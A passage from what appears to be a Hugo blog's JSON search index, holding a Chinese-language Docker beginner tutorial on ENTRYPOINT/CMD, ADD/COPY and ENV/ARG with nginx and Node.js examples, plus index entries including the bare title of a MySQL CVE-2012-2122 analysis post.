运行所需的参数。\n注意：如果 Dockerfile 中如果存在多个 ENTRYPOINT 指令，仅最后一个生效。\n格式：\nENTRYPOINT [\u0026#34;\u0026lt;executeable\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] 可以搭配 CMD 命令使用：一般是变参才会使用 CMD ，这里的 CMD 等于是在给 ENTRYPOINT 传参，以下示例会提到。\n示例：\n假设已通过 Dockerfile 构建了 nginx:test 镜像：\nFROM nginx ENTRYPOINT [\u0026#34;nginx\u0026#34;, \u0026#34;-c\u0026#34;] # 定参 CMD [\u0026#34;/etc/nginx/nginx.conf\u0026#34;] # 变参 1、不传参运行\ndocker run nginx:test 容器内会默认运行以下命令，启动主进程。\nnginx -c /etc/nginx/nginx.conf 2、传参运行\ndocker run nginx:test -c /etc/nginx/new.conf 容器内会默认运行以下命令，启动主进程(/etc/nginx/new.conf:假设容器内已有此文件)\nnginx -c /etc/nginx/new.conf ADD \u0026amp; COPY ADD ADD 指令和 COPY 的使用格类似（同样需求下，官方推荐使用 COPY）。功能也类似，不同之处如下：\nADD 的优点：在执行 \u0026lt;源文件\u0026gt; 为 tar 压缩文件的话，压缩格式为 gzip, bzip2 以及 xz 的情况下，会自动复制并解压到 \u0026lt;目标路径\u0026gt;。\nADD 的缺点：在不解压的前提下，无法复制 tar 压缩文件。会令镜像构建缓存失效，从而可能会令镜像构建变得比较缓慢。具体是否使用，可以根据是否需要自动解压来决定。\nCOPY 复制指令，从上下文目录中复制文件或者目录到容器里指定路径。\n格式：\nCOPY [--chown=\u0026lt;user\u0026gt;:\u0026lt;group\u0026gt;] \u0026lt;源路径1\u0026gt;... \u0026lt;目标路径\u0026gt; COPY [--chown=\u0026lt;user\u0026gt;:\u0026lt;group\u0026gt;] [\u0026#34;\u0026lt;源路径1\u0026gt;\u0026#34;,... \u0026#34;\u0026lt;目标路径\u0026gt;\u0026#34;] [\u0026ndash;chown=:]：可选参数，用户改变复制到容器内文件的拥有者和属组。\n\u0026lt;源路径\u0026gt;：源文件或者源目录，这里可以是通配符表达式，其通配符规则要满足 Go 的 filepath.Match 规则。例如：\nCOPY hom* /mydir/ COPY hom?.txt /mydir/ ENV \u0026amp; ARG ENV 设置环境变量，定义了环境变量，那么在后续的指令中，就可以使用这个环境变量。\n格式：\nENV \u0026lt;key\u0026gt; \u0026lt;value\u0026gt; ENV \u0026lt;key1\u0026gt;=\u0026lt;value1\u0026gt; \u0026lt;key2\u0026gt;=\u0026lt;value2\u0026gt;... 以下示例设置 NODE_VERSION = 7.2.0 ， 在后续的指令中可以通过 $NODE_VERSION 引用：\nENV NODE_VERSION 7.2.0 RUN curl -SLO \u0026#34;https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.xz\u0026#34; \\ \u0026amp;\u0026amp; curl -SLO \u0026#34;https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc\u0026#34; ARG 构建参数，与 ENV 作用一致。不过作用域不一样。ARG 设置的环境变量仅对 Dockerfile 内有效，也就是说只有 docker build 的过程中有效，构建好的镜像内不存在此环境变量。\n构建命令 docker build 中可以用 \u0026ndash;build-arg \u0026lt;参数名\u0026gt;=\u0026lt;值\u0026gt; 来覆盖。\n格式：\nARG \u0026lt;参数名\u0026gt;[=\u0026lt;默认值\u0026gt;] ","permalink":"https://chenjx12.github.io/posts/docker-%E5%85%A5%E9%97%A81/","summary":"\u003ch1 id=\"docker-入门1\"\u003edocker 入门1\u003c/h1\u003e\n\u003cp\u003eAuthor：chenj_\u003ca href=\"mailto:x12@foxmail.com\"\u003ex12@foxmail.com\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"安装\"\u003e安装\u003c/h2\u003e\n\u003cp\u003edocker的安装教程可以看菜鸟的：\u003ca href=\"https://www.runoob.com/docker/docker-tutorial.html\"\u003eDocker 教程 | 菜鸟教程 (runoob.com)\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e测试是否安装成功\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 运行：docker run hello-world，出现如下文字说明安装成功\n\nHello from Docker !\nThis message shous that your installation appears to be uorking correctly.To generate this message，Docker took the follouing steps:1. The Docker client contacted the Docker daemon.，\n2. The Docker daemon pulled the \u0026#34;hello-uorld\u0026#34; image from the Docker Hub.( amd64)\n3. The Docker daemon created a new container from that image uhich runs theexecutable that produces the output you are currently reading.\n4. The Docker daemon streamed that output to the Docker client,uhich sent it\nto your terminal.\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"配置镜像加速\"\u003e配置镜像加速\u003c/h2\u003e\n\u003cp\u003e安装好docker后，需要给它配置镜像加速，毕竟直接访问太慢了\u003c/p\u003e","title":"docker 入门1"},{"content":"Mysql cve-2012-2122分析与复现 ","permalink":"https://chenjx12.github.io/posts/mysql-cve-2012-2122%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/","summary":"\u003ch1 id=\"mysql-cve-2012-2122分析与复现\"\u003eMysql cve-2012-2122分析与复现\u003c/h1\u003e","title":""}]